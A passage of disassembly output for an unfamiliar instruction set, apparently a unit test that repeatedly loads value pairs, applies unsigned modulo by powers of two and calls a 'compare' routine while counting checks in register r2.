e378: 00 b0 09 00 umod r8,0x40
e37c: 20 70 03 e2 movepc rret,8
e380: 14 30 c7 24 br 10 <compare>,#al
e384: 00 10 00 41 add r2,1
e388: 0d 46 71 14 wl16 r8,0x3394
e38c: 0d 60 01 03 wh16 r8,0x3
e390: 10 40 01 08 ld32 r8,r8
e394: 0d 46 b9 2c wl16 r9,0x35cc
e398: 0d 60 01 23 wh16 r9,0x3
e39c: 10 40 01 29 ld32 r9,r9
e3a0: 00 b0 11 00 umod r8,0x80
e3a4: 20 70 03 e2 movepc rret,8
e3a8: 14 30 c7 1a br 10 <compare>,#al
e3ac: 00 10 00 41 add r2,1
e3b0: 0d 46 71 18 wl16 r8,0x3398
e3b4: 0d 60 01 03 wh16 r8,0x3
e3b8: 10 40 01 08 ld32 r8,r8
e3bc: 0d 46 b9 30 wl16 r9,0x35d0
e3c0: 0d 60 01 23 wh16 r9,0x3
e3c4: 10 40 01 29 ld32 r9,r9
e3c8: 00 b0 21 00 umod r8,0x100
e3cc: 20 70 03 e2 movepc rret,8
e3d0: 14 30 c7 10 br 10 <compare>,#al
e3d4: 00 10 00 41 add r2,1
e3d8: 0d 46 71 1c wl16 r8,0x339c
e3dc: 0d 60 01 03 wh16 r8,0x3
e3e0: 10 40 01 08 ld32 r8,r8
e3e4: 0d 46 b9 34 wl16 r9,0x35d4
e3e8: 0d 60 01 23 wh16 r9,0x3
e3ec: 10 40 01 29 ld32 r9,r9
e3f0: 00 b0 41 00 umod r8,0x200
e3f4: 20 70 03 e2 movepc rret,8
e3f8: 14 30 c7 06 br 10 <compare>,#al
e3fc: 00 10 00 41 add r2,1
e400: 0d 46 75 00 wl16 r8,0x33a0
e404: 0d 60 01 03 wh16 r8,0x3
e408: 10 40 01 08 ld32 r8,r8
e40c: 0d 46 b9 38 wl16 r9,0x35d8
e410: 0d 60 01 23 wh16 r9,0x3
e414: 10 40 01 29 ld32 r9,r9
e418: 00 b0 81 00 umod r8,0x400
e41c: 20 70 03 e2 movepc rret,8
e420: 14 30 c6 fc br 10 <compare>,#al
e424: 00 10 00 41 add r2,1
e428: 0d 46 75 04 wl16 r8,0x33a4
e42c: 0d 60 01 03 wh16 r8,0x3
e430: 10 40 01 08 ld32 r8,r8
e434: 0d 46 b9 3c wl16 r9,0x35dc
e438: 0d 60 01 23 wh16 r9,0x3
e43c: 10 40 01 29 ld32 r9,r9
e440: 00 b0 01 01 umod r8,0x1
e444: 20 70 03 e2 movepc rret,8
e448: 14 30 c6 f2 br 10 <compare>,#al
e44c: 00 10 00 41 add r2,1
e450: 0d 46 75 08 wl16 r8,0x33a8
e454: 0d 60 01 03 wh16 r8,0x3
e458: 10 40 01 08 ld32 r8,r8
e45c: 0d 46 bd 20 wl16 r9,0x35e0
e460: 0d 60 01 23 wh16 r9,0x3
e464: 10 40 01 29 ld32 r9,r9
e468: 00 b0 01 02 umod r8,0x2
e46c: 20 70 03 e2 movepc rret,8
e470: 14 30 c6 e8 br 10 <compare>,#al
e474: 00 10 00 41 add r2,1
e478: 0d 46 75 0c wl16 r8,0x33ac
e47c: 0d 60 01 03 wh16 r8,0x3
e480: 10 40 01 08 ld32 r8,r8
e484: 0d 46 bd 24 wl16 r9,0x35e4
e488: 0d 60 01 23 wh16 r9,0x3
e48c: 10 40 01 29 ld32 r9,r9
e490: 00 b0 01 04 umod r8,0x4
e494: 20 70 03 e2 movepc rret,8
e498: 14 30 c6 de br 10 <compare>,#al
e49c: 00 10 00 41 add r2,1
e4a0: 0d 46 75 10 wl16 r8,0x33b0
e4a4: 0d 60 01 03 wh16 r8,0x3
e4a8: 10 40 01 08 ld32 r8,r8
e4ac: 0d 46 bd 28 wl16 r9,0x35e8
e4b0: 0d 60 01 23 wh16 r9,0x3
e4b4: 10 40 01 29 ld32 r9,r9
e4b8: 00 b0 01 08 umod r8,0x8
e4bc: 20 70 03 e2 movepc rret,8
e4c0: 14 30 c6 d4 br 10 <compare>,#al
e4c4: 00 10 00 41 add r2,1
e4c8: 0d 46 75 14 wl16 r8,0x33b4
e4cc: 0d 60 01 03 wh16 r8,0x3
e4d0: 10 40 01 08 ld32 r8,r8
e4d4: 0d 46 bd 2c wl16 r9,0x35ec
e4d8: 0d 60 01 23 wh16 r9,0x3
e4dc: 10 40 01 29 ld32 r9,r9
e4e0: 00 b0 01 10 umod r8,0x10
e4e4: 20 70 03 e2 movepc rret,8
e4e8: 14 30 c6 ca br 10 <compare>,#al
e4ec: 00 10 00 41 add r2,1
e4f0: 0d 46 75 18 wl16 r8,0x33b8
e4f4: 0d 60 01 03 wh16 r8,0x3
e4f8: 10 40 01 08 ld32 r8,r8
e4fc: 0d 46 bd 30 wl16 r9,0x35f0
e500: 0d 60 01 23 wh16 r9,0x3
e504: 10 40 01 29 ld32 r9,r9
e508: 00 b0 05 00 umod r8,0x20
e50c: 20 70 03 e2 movepc rret,8
e510: 14 30 c6 c0 br 10 <compare>,#al
e514: 00 10 00 41 add r2,1
e518: 0d 46 75 1c wl16 r8,0x33bc
e51c: 0d 60 01 03 wh16 r8,0x3
e520: 10 40 01 08 ld32 r8,r8
e524: 0d 46 bd 34 wl16 r9,0x35f4
e528: 0d 60 01 23 wh16 r9,0x3
e52c: 10 40 01 29 ld32 r9,r9
e530: 00 b0 09 00 umod r8,0x40
e534: 20 70 03 e2 movepc rret,8
e538: 14 30 c6 b6 br 10 <compare>,#al
e53c: 00 10 00 41 add r2,1
e540: 0d 46 79 00 wl16 r8,0x33c0
e544: 0d 60 01 03 wh16 r8,0x3
e548: 10 40 01 08 ld32 r8,r8
e54c: 0d 46 bd 38 wl16 r9,0x35f8
e550: 0d 60 01 23 wh16 r9,0x3
e554: 10 40 01 29 ld32 r9,r9
e558: 00 b0 11 00 umod r8,0x80
e55c: 20 70 03 e2 movepc rret,8
e560: 14 30 c6 ac br 10 <compare>,#al
e564: 00 10 00 41 add r2,1
e568: 0d 46 79 04 wl16 r8,0x33c4
e56c: 0d 60 01 03 wh16 r8,0x3
e570: 10 40 01 08 ld32 r8,r8
e574: 0d 46 bd 3c wl16 r9,0x35fc
e578: 0d 60 01 23 wh16 r9,0x3
e57c: 10 40 01 29 ld32 r9,r9
e580: 00 b0 21 00 umod r8,0x100
e584: 20 70 03 e2 movepc rret,8
e588: 14 30 c6 a2 br 10 <compare>,#al
e58c: 00 10 00 41 add r2,1
e590: 0d 46 79 08 wl16 r8,0x33c8
e594: 0d 60 01 03 wh16 r8,0x3
e598: 10 40 01 08 ld32 r8,r8
e59c: 0d 46 c1 20 wl16 r9,0x3600
e5a0: 0d 60 01 23 wh16 r9,0x3
e5a4: 10 40 01 29 ld32 r9,r9
e5a8: 00 b0 41 00 umod r8,0x200
e5ac: 20 70 03 e2 movepc rret,8
e5b0: 14 30 c6 98 br 10 <compare>,#al
e5b4: 00 10 00 41 add r2,1
e5b8: 0d 46 79 0c wl16 r8,0x33cc
e5bc: 0d 60 01 03 wh16 r8,0x3
e5c0: 10 40 01 08 ld32 r8,r8
e5c4: 0d 46 c1 24 wl16 r9,0x3604
e5c8: 0d 60 01 23 wh16 r9,0x3
e5cc: 10 40 01 29 ld32 r9,r9
e5d0: 00 b0 81 00 umod r8,0x400
e5d4: 20 70 03 e2 movepc rret,8
e5d8: 14 30 c6 8e br 10 <compare>,#al
e5dc: 00 10 00 41 add r2,1
e5e0: 0d 46 79 10 wl16 r8,0x33d0
e5e4: 0d 60 01 03 wh16 r8,0x3
e5e8: 10 40 01 08 ld32 r8,r8
e5ec: 0d 46 c1 28 wl16 r9,0x3608
e5f0: 0d 60 01 23 wh16 r9,0x3
e5f4: 10 40 01 29 ld32 r9,r9
e5f8: 00 b0 01 01 umod r8,0x1
e5fc: 20 70 03 e2 movepc rret,8
e600: 14 30 c6 84 br 10 <compare>,#al
e604: 00 10 00 41 add r2,1
e608: 0d 46 79 14 wl16 r8,0x33d4
e60c: 0d 60 01 03 wh16 r8,0x3
e610: 10 40 01 08 ld32 r8,r8
e614: 0d 46 c1 2c wl16 r9,0x360c
e618: 0d 60 01 23 wh16 r9,0x3
e61c: 10 40 01 29 ld32 r9,r9
e620: 00 b0 01 02 umod r8,0x2
e624: 20 70 03 e2 movepc rret,8
e628: 14 30 c6 7a br 10 <compare>,#al
e62c: 00 10 00 41 add r2,1
e630: 0d 46 79 18 wl16 r8,0x33d8
e634: 0d 60 01 03 wh16 r8,0x3
e638: 10 40 01 08 ld32 r8,r8
e63c: 0d 46 c1 30 wl16 r9,0x3610
e640: 0d 60 01 23 wh16 r9,0x3
e644: 10 40 01 29 ld32 r9,r9
e648: 00 b0 01 04 umod r8,0x4
e64c: 20 70 03 e2 movepc rret,8
e650: 14 30 c6 70 br 10 <compare>,#al
e654: 00 10 00 41 add r2,1
e658: 0d 46 79 1c wl16 r8,0x33dc
e65c: 0d 60 01 03 wh16 r8,0x3
e660: 10 40 01 08 ld32 r8,r8
e664: 0d 46 c1 34 wl16 r9,0x3614
e668: 0d 60 01 23 wh16 r9,0x3
e66c: 10 40 01 29 ld32 r9,r9
e670: 00 b0 01 08 umod r8,0x8
e674: 20 70 03 e2 movepc rret,8
e678: 14 30 c6 66 br 10 <compare>,#al
e67c: 00 10 00 41 add r2,1
e680: 0d 46 7d 00 wl16 r8,0x33e0
e684: 0d 60 01 03 wh16 r8,0x3
e688: 10 40 01 08 ld32 r8,r8
e68c: 0d 46 c1 38 wl16 r9,0x3618
e690: 0d 60 01 23 wh16 r9,0x3
e694: 10 40 01 29 ld32 r9,r9
e698: 00 b0 01 10 umod r8,0x10
e69c: 20 70 03 e2 movepc rret,8
e6a0: 14 30 c6 5c br 10 <compare>,#al
e6a4: 00 10 00 41 add r2,1
e6a8: 0d 46 7d 04 wl16 r8,0x33e4
e6ac: 0d 60 01 03 wh16 r8,0x3
e6b0: 10 40 01 08 ld32 r8,r8
e6b4: 0d 46 c1 3c wl16 r9,0x361c
e6b8: 0d 60 01 23 wh16 r9,0x3
e6bc: 10 40 01 29 ld32 r9,r9
e6c0: 00 b0 05 00 umod r8,0x20
e6c4: 20 70 03 e2 movepc rret,8
e6c8: 14 30 c6 52 br 10 <compare>,#al
e6cc: 00 10 00 41 add r2,1
e6d0: 0d 46 7d 08 wl16 r8,0x33e8
e6d4: 0d 60 01 03 wh16 r8,0x3
e6d8: 10 40 01 08 ld32 r8,r8
e6dc: 0d 46 c5 20 wl16 r9,0x3620
e6e0: 0d 60 01 23 wh16 r9,0x3
e6e4: 10 40 01 29 ld32 r9,r9
e6e8: 00 b0 09 00 umod r8,0x40
e6ec: 20 70 03 e2 movepc rret,8
e6f0: 14 30 c6 48 br 10 <compare>,#al
e6f4: 00 10 00 41 add r2,1
e6f8: 0d 46 7d 0c wl16 r8,0x33ec
e6fc: 0d 60 01 03 wh16 r8,0x3
e700: 10 40 01 08 ld32 r8,r8
e704: 0d 46 c5 24 wl16 r9,0x3624
e708: 0d 60 01 23 wh16 r9,0x3
e70c: 10 40 01 29 ld32 r9,r9
e710: 00 b0 11 00 umod r8,0x80
e714: 20 70 03 e2 movepc rret,8
e718: 14 30 c6 3e br 10 <compare>,#al
e71c: 00 10 00 41 add r2,1
e720: 0d 46 7d 10 wl16 r8,0x33f0
e724: 0d 60 01 03 wh16 r8,0x3
e728: 10 40 01 08 ld32 r8,r8
e72c: 0d 46 c5 28 wl16 r9,0x3628
e730: 0d 60 01 23 wh16 r9,0x3
e734: 10 40 01 29 ld32 r9,r9
e738: 00 b0 21 00 umod r8,0x100
e73c: 20 70 03 e2 movepc rret,8
e740: 14 30 c6 34 br 10 <compare>,#al
e744: 00 10 00 41 add r2,1
e748: 0d 46 7d 14 wl16 r8,0x33f4
e74c: 0d 60 01 03 wh16 r8,0x3
e750: 10 40 01 08 ld32 r8,r8
e754: 0d 46 c5 2c wl16 r9,0x362c
e758: 0d 60 01 23 wh16 r9,0x3
e75c: 10 40 01 29 ld32 r9,r9
e760: 00 b0 41 00 umod r8,0x200
e764: 20 70 03 e2 movepc rret,8
e768: 14 30 c6 2a br 10 <compare>,#al
e76c: 00 10 00 41 add r2,1
e770: 0d 46 7d 18 wl16 r8,0x33f8
e774: 0d 60 01 03 wh16 r8,0x3
e778: 10 40 01 08 ld32 r8,r8
e77c: 0d 46 c5 30 wl16 r9,0x3630
e780: 0d 60 01 23 wh16 r9,0x3
e784: 10 40 01 29 ld32 r9,r9
e788: 00 b0 81 00 umod r8,0x400
e78c: 20 70 03 e2 movepc rret,8
e790: 14 30 c6 20 br 10 <compare>,#al
e794: 00 10 00 41 add r2,1
e798: 0d 46 7d 1c wl16 r8,0x33fc
e79c: 0d 60 01 03 wh16 r8,0x3
e7a0: 10 40 01 08 ld32 r8,r8
e7a4: 0d 46 c5 34 wl16 r9,0x3634
e7a8: 0d 60 01 23 wh16 r9,0x3
e7ac: 10 40 01 29 ld32 r9,r9
e7b0: 00 b0 01 01 umod r8,0x1
e7b4: 20 70 03 e2 movepc rret,8
e7b8: 14 30 c6 16 br 10 <compare>,#al
e7bc: 00 10 00 41 add r2,1
e7c0: 0d 46 81 00 wl16 r8,0x3400
e7c4: 0d 60 01 03 wh16 r8,0x3
e7c8: 10 40 01 08 ld32 r8,r8
e7cc: 0d 46 c5 38 wl16 r9,0x3638
e7d0: 0d 60 01 23 wh16 r9,0x3
e7d4: 10 40 01 29 ld32 r9,r9
e7d8: 00 b0 01 02 umod r8,0x2
e7dc: 20 70 03 e2 movepc rret,8
e7e0: 14 30 c6 0c br 10 <compare>,#al
e7e4: 00 10 00 41 add r2,1
e7e8: 0d 46 81 04 wl16 r8,0x3404
e7ec: 0d 60 01 03 wh16 r8,0x3
e7f0: 10 40 01 08 ld32 r8,r8
e7f4: 0d 46 c5 3c wl16 r9,0x363c
e7f8: 0d 60 01 23 wh16 r9,0x3
e7fc: 10 40 01 29 ld32 r9,r9
e800: 00 b0 01 04 umod r8,0x4
e804: 20 70 03 e2 movepc rret,8
e808: 14 30 c6 02 br 10 <compare>,#al
e80c: 00 10 00 41 add r2,1
e810: 0d 46 81 08 wl16 r8,0x3408
e814: 0d 60 01 03 wh16 r8,0x3
e818: 10 40 01 08 ld32 r8,r8
e81c: 0d 46 c9 20 wl16 r9,0x3640
e820: 0d 60 01 23 wh16 r9,0x3
e824: 10 40 01 29 ld32 r9,r9
e828: 00 b0 01 08 umod r8,0x8
e82c: 20 70 03 e2 movepc rret,8
e830: 14 30 c5 f8 br 10 <compare>,#al
e834: 00 10 00 41 add r2,1
e838: 0d 46 81 0c wl16 r8,0x340c
e83c: 0d 60 01 03 wh16 r8,0x3
e840: 10 40 01 08 ld32 r8,r8
e844: 0d 46 c9 24 wl16 r9,0x3644
e848: 0d 60 01 23 wh16 r9,0x3
e84c: 10 40 01 29 ld32 r9,r9
e850: 00 b0 01 10 umod r8,0x10
e854: 20 70 03 e2 movepc rret,8
e858: 14 30 c5 ee br 10 <compare>,#al
e85c: 00 10 00 41 add r2,1
e860: 0d 46 81 10 wl16 r8,0x3410
e864: 0d 60 01 03 wh16 r8,0x3
e868: 10 40 01 08 ld32 r8,r8
e86c: 0d 46 c9 28 wl16 r9,0x3648
e870: 0d 60 01 23 wh16 r9,0x3
e874: 10 40 01 29 ld32 r9,r9
e878: 00 b0 05 00 umod r8,0x20
e87c: 20 70 03 e2 movepc rret,8
e880: 14 30 c5 e4 br 10 <compare>,#al
e884: 00 10 00 41 add r2,1
e888: 0d 46 81 14 wl16 r8,0x3414
e88c: 0d 60 01 03 wh16 r8,0x3
e890: 10 40 01 08 ld32 r8,r8
e894: 0d 46 c9 2c wl16 r9,0x364c
e898: 0d 60 01 23 wh16 r9,0x3
e89c: 10 40 01 29 ld32 r9,r9
e8a0: 00 b0 09 00 umod r8,0x40
e8a4: 20 70 03 e2 movepc rret,8
e8a8: 14 30 c5 da br 10 <compare>,#al
e8ac: 00 10 00 41 add r2,1
e8b0: 0d 46 81 18 wl16 r8,0x3418
e8b4: 0d 60 01 03 wh16 r8,0x3
e8b8: 10 40 01 08 ld32 r8,r8
e8bc: 0d 46 c9 30 wl16 r9,0x3650
e8c0: 0d 60 01 23 wh16 r9,0x3
e8c4: 10 40 01 29 ld32 r9,r9
e8c8: 00 b0 11 00 umod r8,0x80
e8cc: 20 70 03 e2 movepc rret,8
e8d0: 14 30 c5 d0 br 10 <compare>,#al
e8d4: 00 10 00 41 add r2,1
e8d8: 0d 46 81 1c wl16 r8,0x341c
e8dc: 0d 60 01 03 wh16 r8,0x3
e8e0: 10 40 01 08 ld32 r8,r8
e8e4: 0d 46 c9 34 wl16 r9,0x3654
e8e8: 0d 60 01 23 wh16 r9,0x3
e8ec: 10 40 01 29 ld32 r9,r9
e8f0: 00 b0 21 00 umod r8,0x100
e8f4: 20 70 03 e2 movepc rret,8
e8f8: 14 30 c5 c6 br 10 <compare>,#al
e8fc: 00 10 00 41 add r2,1
e900: 0d 46 85 00 wl16 r8,0x3420
e904: 0d 60 01 03 wh16 r8,0x3
e908: 10 40 01 08 ld32 r8,r8
e90c: 0d 46 c9 38 wl16 r9,0x3658
e910: 0d 60 01 23 wh16 r9,0x3
e914: 10 40 01 29 ld32 r9,r9
e918: 00 b0 41 00 umod r8,0x200
e91c: 20 70 03 e2 movepc rret,8
e920: 14 30 c5 bc br 10 <compare>,#al
e924: 00 10 00 41 add r2,1
e928: 0d 46 85 04 wl16 r8,0x3424
e92c: 0d 60 01 03 wh16 r8,0x3
e930: 10 40 01 08 ld32 r8,r8
e934: 0d 46 c9 3c wl16 r9,0x365c
e938: 0d 60 01 23 wh16 r9,0x3
e93c: 10 40 01 29 ld32 r9,r9
e940: 00 b0 81 00 umod r8,0x400
e944: 20 70 03 e2 movepc rret,8
e948: 14 30 c5 b2 br 10 <compare>,#al
e94c: 00 10 00 41 add r2,1
e950: 0d 46 85 08 wl16 r8,0x3428
e954: 0d 60 01 03 wh16 r8,0x3
e958: 10 40 01 08 ld32 r8,r8
e95c: 0d 46 cd 20 wl16 r9,0x3660
e960: 0d 60 01 23 wh16 r9,0x3
e964: 10 40 01 29 ld32 r9,r9
e968: 00 b0 01 01 umod r8,0x1
e96c: 20 70 03 e2 movepc rret,8
e970: 14 30 c5 a8 br 10 <compare>,#al
e974: 00 10 00 41 add r2,1
e978: 0d 46 85 0c wl16 r8,0x342c
e97c: 0d 60 01 03 wh16 r8,0x3
e980: 10 40 01 08 ld32 r8,r8
e984: 0d 46 cd 24 wl16 r9,0x3664
e988: 0d 60 01 23 wh16 r9,0x3
e98c: 10 40 01 29 ld32 r9,r9
e990: 00 b0 01 02 umod r8,0x2
e994: 20 70 03 e2 movepc rret,8
e998: 14 30 c5 9e br 10 <compare>,#al
e99c: 00 10 00 41 add r2,1
e9a0: 0d 46 85 10 wl16 r8,0x3430
e9a4: 0d 60 01 03 wh16 r8,0x3
e9a8: 10 40 01 08 ld32 r8,r8
e9ac: 0d 46 cd 28 wl16 r9,0x3668
e9b0: 0d 60 01 23 wh16 r9,0x3
e9b4: 10 40 01 29 ld32 r9,r9
e9b8: 00 b0 01 04 umod r8,0x4
e9bc: 20 70 03 e2 movepc rret,8
e9c0: 14 30 c5 94 br 10 <compare>,#al
e9c4: 00 10 00 41 add r2,1
e9c8: 0d 46 85 14 wl16 r8,0x3434
e9cc: 0d 60 01 03 wh16 r8,0x3
e9d0: 10 40 01 08 ld32 r8,r8
e9d4: 0d 46 cd 2c wl16 r9,0x366c
e9d8: 0d 60 01 23 wh16 r9,0x3
e9dc: 10 40 01 29 ld32 r9,r9
e9e0: 00 b0 01 08 umod r8,0x8
e9e4: 20 70 03 e2 movepc rret,8
e9e8: 14 30 c5 8a br 10 <compare>,#al
e9ec: 00 10 00 41 add r2,1
e9f0: 0d 46 85 18 wl16 r8,0x3438
e9f4: 0d 60 01 03 wh16 r8,0x3
e9f8: 10 40 01 08 ld32 r8,r8
e9fc: 0d 46 cd 30 wl16 r9,0x3670
ea00: 0d 60 01 23 wh16 r9,0x3
ea04: 10 40 01 29 ld32 r9,r9
ea08: 00 b0 01 10 umod r8,0x10
ea0c: 20 70 03 e2 movepc rret,8
ea10: 14 30 c5 80 br 10 <compare>,#al
ea14: 00 10 00 41 add r2,1
ea18: 0d 46 85 1c wl16 r8,0x343c
ea1c: 0d 60 01 03 wh16 r8,0x3
ea20: 10 40 01 08 ld32 r8,r8
ea24: 0d 46 cd 34 wl16 r9,0x3674
ea28: 0d 60 01 23 wh16 r9,0x3
ea2c: 10 40 01 29 ld32 r9,r9
ea30: 00 b0 05 00 umod r8,0x20
ea34: 20 70 03 e2 movepc rret,8
ea38: 14 30 c5 76 br 10 <compare>,#al
ea3c: 00 10 00 41 add r2,1
ea40: 0d 46 89 00 wl16 r8,0x3440
ea44: 0d 60 01 03 wh16 r8,0x3
ea48: 10 40 01 08 ld32 r8,r8
ea4c: 0d 46 cd 38 wl16 r9,0x3678
ea50: 0d 60 01 23 wh16 r9,0x3
ea54: 10 40 01 29 ld32 r9,r9
ea58: 00 b0 09 00 umod r8,0x40
ea5c: 20 70 03 e2 movepc rret,8
ea60: 14 30 c5 6c br 10 <compare>,#al
ea64: 00 10 00 41 add r2,1
ea68: 0d 46 89 04 wl16 r8,0x3444
ea6c: 0d 60 01 03 wh16 r8,0x3
ea70: 10 40 01 08 ld32 r8,r8
ea74: 0d 46 cd 3c wl16 r9,0x367c
ea78: 0d 60 01 23 wh16 r9,0x3
ea7c: 10 40 01 29 ld32 r9,r9
ea80: 00 b0 11 00 umod r8,0x80
ea84: 20 70 03 e2 movepc rret,8
ea88: 14 30 c5 62 br 10 <compare>,#al
ea8c: 00 10 00 41 add r2,1
ea90: 0d 46 89 08 wl16 r8,0x3448
ea94: 0d 60 01 03 wh16 r8,0x3
ea98: 10 40 01 08 ld32 r8,r8
ea9c: 0d 46 d1 20 wl16 r9,0x3680
eaa0: 0d 60 01 23 wh16 r9,0x3
eaa4: 10 40 01 29 ld32 r9,r9
eaa8: 00 b0 21 00 umod r8,0x100
eaac: 20 70 03 e2 movepc rret,8
eab0: 14 30 c5 58 br 10 <compare>,#al
eab4: 00 10 00 41 add r2,1
eab8: 0d 46 89 0c wl16 r8,0x344c
eabc: 0d 60 01 03 wh16 r8,0x3
eac0: 10 40 01 08 ld32 r8,r8
eac4: 0d 46 d1 24 wl16 r9,0x3684
eac8: 0d 60 01 23 wh16 r9,0x3
eacc: 10 40 01 29 ld32 r9,r9
ead0: 00 b0 41 00 umod r8,0x200
ead4: 20 70 03 e2 movepc rret,8
ead8: 14 30 c5 4e br 10 <compare>,#al
eadc: 00 10 00 41 add r2,1
eae0: 0d 46 89 10 wl16 r8,0x3450
eae4: 0d 60 01 03 wh16 r8,0x3
eae8: 10 40 01 08 ld32 r8,r8
eaec: 0d 46 d1 28 wl16 r9,0x3688
eaf0: 0d 60 01 23 wh16 r9,0x3
eaf4: 10 40 01 29 ld32 r9,r9
eaf8: 00 b0 81 00 umod r8,0x400
eafc: 20 70 03 e2 movepc rret,8
eb00: 14 30 c5 44 br 10 <compare>,#al
eb04: 00 10 00 41 add r2,1
eb08: 0d 46 89 14 wl16 r8,0x3454
eb0c: 0d 60 01 03 wh16 r8,0x3
eb10: 10 40 01 08 ld32 r8,r8
eb14: 0d 46 d1 2c wl16 r9,0x368c
eb18: 0d 60 01 23 wh16 r9,0x3
eb1c: 10 40 01 29 ld32 r9,r9
eb20: 00 b0 01 01 umod r8,0x1
eb24: 20 70 03 e2 movepc rret,8
eb28: 14 30 c5 3a br 10 <compare>,#al
eb2c: 00 10 00 41 add r2,1
eb30: 0d 46 89 18 wl16 r8,0x3458
eb34: 0d 60 01 03 wh16 r8,0x3
eb38: 10 40 01 08 ld32 r8,r8
eb3c: 0d 46 d1 30 wl16 r9,0x3690
eb40: 0d 60 01 23 wh16 r9,0x3
eb44: 10 40 01 29 ld32 r9,r9
eb48: 00 b0 01 02 umod r8,0x2
eb4c: 20 70 03 e2 movepc rret,8
eb50: 14 30 c5 30 br 10 <compare>,#al
eb54: 00 10 00 41 add r2,1
eb58: 0d 46 89 1c wl16 r8,0x345c
eb5c: 0d 60 01 03 wh16 r8,0x3
eb60: 10 40 01 08 ld32 r8,r8
eb64: 0d 46 d1 34 wl16 r9,0x3694
eb68: 0d 60 01 23 wh16 r9,0x3
eb6c: 10 40 01 29 ld32 r9,r9
eb70: 00 b0 01 04 umod r8,0x4
eb74: 20 70 03 e2 movepc rret,8
eb78: 14 30 c5 26 br 10 <compare>,#al
eb7c: 00 10 00 41 add r2,1
eb80: 0d 46 8d 00 wl16 r8,0x3460
eb84: 0d 60 01 03 wh16 r8,0x3
eb88: 10 40 01 08 ld32 r8,r8
eb8c: 0d 46 d1 38 wl16 r9,0x3698
eb90: 0d 60 01 23 wh16 r9,0x3
eb94: 10 40 01 29 ld32 r9,r9
eb98: 00 b0 01 08 umod r8,0x8
eb9c: 20 70 03 e2 movepc rret,8
eba0: 14 30 c5 1c br 10 <compare>,#al
eba4: 00 10 00 41 add r2,1
eba8: 0d 46 8d 04 wl16 r8,0x3464
ebac: 0d 60 01 03 wh16 r8,0x3
ebb0: 10 40 01 08 ld32 r8,r8
ebb4: 0d 46 d1 3c wl16 r9,0x369c
ebb8: 0d 60 01 23 wh16 r9,0x3
ebbc: 10 40 01 29 ld32 r9,r9
ebc0: 00 b0 01 10 umod r8,0x10
ebc4: 20 70 03 e2 movepc rret,8
ebc8: 14 30 c5 12 br 10 <compare>,#al
ebcc: 00 10 00 41 add r2,1
ebd0: 0d 46 8d 08 wl16 r8,0x3468
ebd4: 0d 60 01 03 wh16 r8,0x3
ebd8: 10 40 01 08 ld32 r8,r8
ebdc: 0d 46 d5 20 wl16 r9,0x36a0
ebe0: 0d 60 01 23 wh16 r9,0x3
ebe4: 10 40 01 29 ld32 r9,r9
ebe8: 00 b0 05 00 umod r8,0x20
ebec: 20 70 03 e2 movepc rret,8
ebf0: 14 30 c5 08 br 10 <compare>,#al
ebf4: 00 10 00 41 add r2,1
ebf8: 0d 46 8d 0c wl16 r8,0x346c
ebfc: 0d 60 01 03 wh16 r8,0x3
ec00: 10 40 01 08 ld32 r8,r8
ec04: 0d 46 d5 24 wl16 r9,0x36a4
ec08: 0d 60 01 23 wh16 r9,0x3
ec0c: 10 40 01 29 ld32 r9,r9
ec10: 00 b0 09 00 umod r8,0x40
ec14: 20 70 03 e2 movepc rret,8
ec18: 14 30 c4 fe br 10 <compare>,#al
ec1c: 00 10 00 41 add r2,1
ec20: 0d 46 8d 10 wl16 r8,0x3470
ec24: 0d 60 01 03 wh16 r8,0x3
ec28: 10 40 01 08 ld32 r8,r8
ec2c: 0d 46 d5 28 wl16 r9,0x36a8
ec30: 0d 60 01 23 wh16 r9,0x3
ec34: 10 40 01 29 ld32 r9,r9
ec38: 00 b0 11 00 umod r8,0x80
ec3c: 20 70 03 e2 movepc rret,8
ec40: 14 30 c4 f4 br 10 <compare>,#al
ec44: 00 10 00 41 add r2,1
ec48: 0d 46 8d 14 wl16 r8,0x3474
ec4c: 0d 60 01 03 wh16 r8,0x3
ec50: 10 40 01 08 ld32 r8,r8
ec54: 0d 46 d5 2c wl16 r9,0x36ac
ec58: 0d 60 01 23 wh16 r9,0x3
ec5c: 10 40 01 29 ld32 r9,r9
ec60: 00 b0 21 00 umod r8,0x100
ec64: 20 70 03 e2 movepc rret,8
ec68: 14 30 c4 ea br 10 <compare>,#al
ec6c: 00 10 00 41 add r2,1
ec70: 0d 46 8d 18 wl16 r8,0x3478
ec74: 0d 60 01 03 wh16 r8,0x3
ec78: 10 40 01 08 ld32 r8,r8
ec7c: 0d 46 d5 30 wl16 r9,0x36b0
ec80: 0d 60 01 23 wh16 r9,0x3
ec84: 10 40 01 29 ld32 r9,r9
ec88: 00 b0 41 00 umod r8,0x200
ec8c: 20 70 03 e2 movepc rret,8
ec90: 14 30 c4 e0 br 10 <compare>,#al
ec94: 00 10 00 41 add r2,1
ec98: 0d 46 8d 1c wl16 r8,0x347c
ec9c: 0d 60 01 03 wh16 r8,0x3
eca0: 10 40 01 08 ld32 r8,r8
eca4: 0d 46 d5 34 wl16 r9,0x36b4
eca8: 0d 60 01 23 wh16 r9,0x3
ecac: 10 40 01 29 ld32 r9,r9
ecb0: 00 b0 81 00 umod r8,0x400
ecb4: 20 70 03 e2 movepc rret,8
ecb8: 14 30 c4 d6 br 10 <compare>,#al
ecbc: 00 10 00 41 add r2,1
ecc0: 0d 46 91 00 wl16 r8,0x3480
ecc4: 0d 60 01 03 wh16 r8,0x3
ecc8: 10 40 01 08 ld32 r8,r8
eccc: 0d 46 d5 38 wl16 r9,0x36b8
ecd0: 0d 60 01 23 wh16 r9,0x3
ecd4: 10 40 01 29 ld32 r9,r9
ecd8: 00 b0 01 01 umod r8,0x1
ecdc: 20 70 03 e2 movepc rret,8
ece0: 14 30 c4 cc br 10 <compare>,#al
ece4: 00 10 00 41 add r2,1
ece8: 0d 46 91 04 wl16 r8,0x3484
ecec: 0d 60 01 03 wh16 r8,0x3
ecf0: 10 40 01 08 ld32 r8,r8
ecf4: 0d 46 d5 3c wl16 r9,0x36bc
ecf8: 0d 60 01 23 wh16 r9,0x3
ecfc: 10 40 01 29 ld32 r9,r9
ed00: 00 b0 01 02 umod r8,0x2
ed04: 20 70 03 e2 movepc rret,8
ed08: 14 30 c4 c2 br 10 <compare>,#al
ed0c: 00 10 00 41 add r2,1
ed10: 0d 46 91 08 wl16 r8,0x3488
ed14: 0d 60 01 03 wh16 r8,0x3
ed18: 10 40 01 08 ld32 r8,r8
ed1c: 0d 46 d9 20 wl16 r9,0x36c0
ed20: 0d 60 01 23 wh16 r9,0x3
ed24: 10 40 01 29 ld32 r9,r9
ed28: 00 b0 01 04 umod r8,0x4
ed2c: 20 70 03 e2 movepc rret,8
